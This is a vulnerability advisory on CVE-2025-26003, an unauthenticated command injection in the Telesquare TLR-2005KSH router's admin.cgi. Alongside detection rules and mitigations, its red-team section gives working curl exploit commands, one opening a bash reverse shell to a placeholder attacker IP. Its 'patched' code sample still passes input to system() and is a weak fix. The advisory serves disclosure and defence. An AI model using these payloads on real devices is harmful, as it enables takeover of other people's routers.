CVE-2025-26003

Executive Summary

CVE-2025-26003 is a critical, unauthenticated command injection vulnerability in the Telesquare TLR-2005KSH router firmware version 1.1.4. The flaw resides in the admin.cgi endpoint when processing the setAutorest parameter. An attacker can inject arbitrary operating system commands without authentication, leading to full device compromise. The vulnerability is publicly known but remains unpatched, posing a significant risk to exposed devices. No supply chain package is involved; this is a firmware-level embedded device vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The maximum CVSS score reflects the ease of exploitation and the complete compromise of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the CGI script admin.cgi. The setAutorest parameter is passed unsanitized to a system shell command (e.g., system(), popen(), or shell execution). An attacker can inject command separators like ;, |, &&, or backticks to execute arbitrary commands.

Root Cause: The CGI script does not validate or sanitize user input before passing it to a shell execution function. This allows an attacker to break out of the intended command and run arbitrary OS commands with the privileges of the web server (typically root on embedded devices).

Attack Flow:

1. Attacker sends an HTTP GET request to http://<target>/cgi-bin/admin.cgi?Command=setAutorest&Cmd=<injected_command>.
2. The CGI script constructs a shell command like system("setAutorest <injected_command>").
3. The injected command is executed, giving the attacker a foothold on the device.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - C/CGI):

void handle_request(char *query_string) {
    char cmd[256];
    char *param = get_param(query_string, "Cmd");
    snprintf(cmd, sizeof(cmd), "setAutorest %s", param);
    system(cmd);  // Vulnerable: no sanitization
}

Patched Code (Conceptual):

void handle_request(char *query_string) {
    char cmd[256];
    char *param = get_param(query_string, "Cmd");
    // Sanitize: remove dangerous characters
    sanitize_input(param);
    snprintf(cmd, sizeof(cmd), "setAutorest %s", param);
    system(cmd);
}

No official patch is available from Telesquare as of this report.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Telesquare TLR-2005KSH firmware 1.1.4 (physical device or emulated via QEMU)
• Attacker: Kali Linux with curl, nmap, metasploit

Exploit Command:

# Basic command injection to execute 'id'
curl -v "http://<target>/cgi-bin/admin.cgi?Command=setAutorest&Cmd=;id;"

# Reverse shell (attacker listener: nc -lvnp 4444)
curl "http://<target>/cgi-bin/admin.cgi?Command=setAutorest&Cmd=;bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1';"

Metasploit Module (if available):

# Placeholder for a Metasploit module
# use exploit/linux/http/telesquare_tlr2005_cmd_inject

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /cgi-bin/admin.cgi with Command=setAutorest and suspicious Cmd parameters.
• Look for shell metacharacters (;, |, &, `, $()) in the Cmd parameter.
• Alert on outbound connections from the device to unusual IPs/ports (reverse shell indicators).

Honeypot:

• Deploy a low-interaction honeypot mimicking the TLR-2005KSH login page and CGI endpoint to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /cgi-bin/admin.cgi?Command=setAutorest&Cmd=... with shell metacharacters.
  • Outbound connections from the device to attacker-controlled IPs on high ports (e.g., 4444, 1337).
  • DNS queries to known C2 domains.

• Host IOCs:

  • Unauthorized processes (e.g., reverse shell, cryptominer).
  • Modified system binaries or scripts.
  • New cron jobs or startup scripts.
  • Log entries in /var/log/messages or httpd logs showing command injection attempts.

• File IOCs:

  • Suspicious files in /tmp/ or /var/tmp/ (e.g., sh, nc, python).
  • Modified /etc/passwd or /etc/shadow (new user accounts).

Detection Engineering

YARA Rule

rule CVE_2025_26003_Command_Injection {
    meta:
        description = "Detects command injection attempts against Telesquare TLR-2005KSH admin.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26003"
    strings:
        $cgi_path = "/cgi-bin/admin.cgi"
        $cmd_param = "Command=setAutorest"
        $shell_meta1 = /Cmd=.*[;&|`$]/
        $shell_meta2 = /Cmd=.*\|\|/
        $shell_meta3 = /Cmd=.*&&/
    condition:
        all of ($cgi_path, $cmd_param) and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-26003 Command Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting Telesquare TLR-2005KSH admin.cgi with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/admin.cgi'
        cs-uri-query|contains: 'Command=setAutorest'
    keywords:
        - 'Cmd=;'
        - 'Cmd=|'
        - 'Cmd=&'
        - 'Cmd=`'
        - 'Cmd=$('
    condition: selection and keywords
falsepositives:
    - Legitimate administrative commands (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26003 Telesquare TLR-2005KSH Command Injection Attempt"; flow:to_server; content:"/cgi-bin/admin.cgi"; http_uri; content:"Command=setAutorest"; http_uri; pcre:"/Cmd=[^&]*[;&|`$]/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place them on a separate VLAN with strict firewall rules blocking inbound HTTP from untrusted networks.
2. Disable remote management: If not required, disable the web interface or restrict access to trusted IPs only.
3. Monitor logs: Enable detailed logging on the device and centralize logs for analysis.

Long-term Fix:

• Vendor patch: Await an official firmware update from Telesquare. Contact their support for an ETA.
• Workaround: If source code is available, apply input sanitization to the Cmd parameter in admin.cgi.
• Replace device: Consider replacing the device with a vendor that provides timely security updates.

Detection & Prevention:

• Deploy WAF rules to block requests containing shell metacharacters in the Cmd parameter.
• Use IDS/IPS signatures (e.g., Suricata rule above) to detect and block exploitation attempts.

Valters IT
Securing Digital Frontiers